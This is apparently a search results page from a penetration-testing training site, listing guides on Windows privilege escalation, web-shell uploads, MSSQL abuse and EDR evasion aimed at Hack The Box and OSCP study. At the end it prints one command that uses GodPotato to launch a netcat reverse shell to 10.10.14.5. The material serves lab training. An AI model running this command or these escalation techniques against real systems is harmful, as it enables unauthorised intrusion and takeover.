>_ PwnAtlas

Search everything Ctrl K

Search everything

35 results for «potato»

Guides 5

SeImpersonatePrivilege and Potatoes: from service account to SYSTEM on Windows What SeImpersonate means, why IIS and MSSQL service accounts have it, and which Potato fits each Windows version: PrintSpoofer, GodPotato, JuicyPotatoNG.
Malicious file upload: bypassing upload filters to get a web shell Upload filter bypass step by step: alternative extensions, Content-Type, magic bytes, .htaccess and web.config, and finding where the file lands to run it.
MSSQL pentesting: xp_cmdshell, impersonation, linked servers and hash theft Attack SQL Server in a domain: connect with mssqlclient, run commands with xp_cmdshell, escalate with EXECUTE AS, abuse linked servers and steal hashes.
How antivirus and EDR detect you on Windows: AMSI, ETW, hooks, AppLocker and CLM explained What Defender or an EDR checks when you run a tool (signatures, AMSI, ETW, hooks, kernel callbacks), how to tell what protects a box, and AppLocker and CLM.
Windows privilege escalation: services, unquoted paths, DLL hijacking and AlwaysInstallElevated Find and abuse Windows services with weak permissions, unquoted paths, DLL hijacking, scheduled tasks and AlwaysInstallElevated, by hand or with winPEAS.

Techniques 1

SeImpersonate / Potatoes Windows privilege escalation · 14 machines

MITRE ATT&CK techniques 1

T1134.001 Token Impersonation/Theft MITRE ATT&CK · Privilege Escalation, Defense Evasion

Tools 1

winPEAS Checks Windows services, privileges, saved credentials, AlwaysInstallElevated and more escalation paths. Cheat sheet and HTB machines.

Resources and tools 1

Windows and Active Directory privilege escalation Commands to enumerate Windows and get SYSTEM (SeImpersonate, services, AlwaysInstallElevated, credentials) and Active Directory basics (Kerberoasting, AS-REP, BloodHound, DCSync).

Machines 14

Show all 14 →

Filter these machines by difficulty and OS →

Learning paths 1

Zero to OSCP Six stages in order, from your first nmap to a mock exam: Hack The Box machines, guides and cheat sheets to prepare for the OSCP without getting lost.

Guide sections 10

Commands 1

SeImpersonate with GodPotato Windows and Active Directory privilege escalation › Windows › Token privileges .\GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"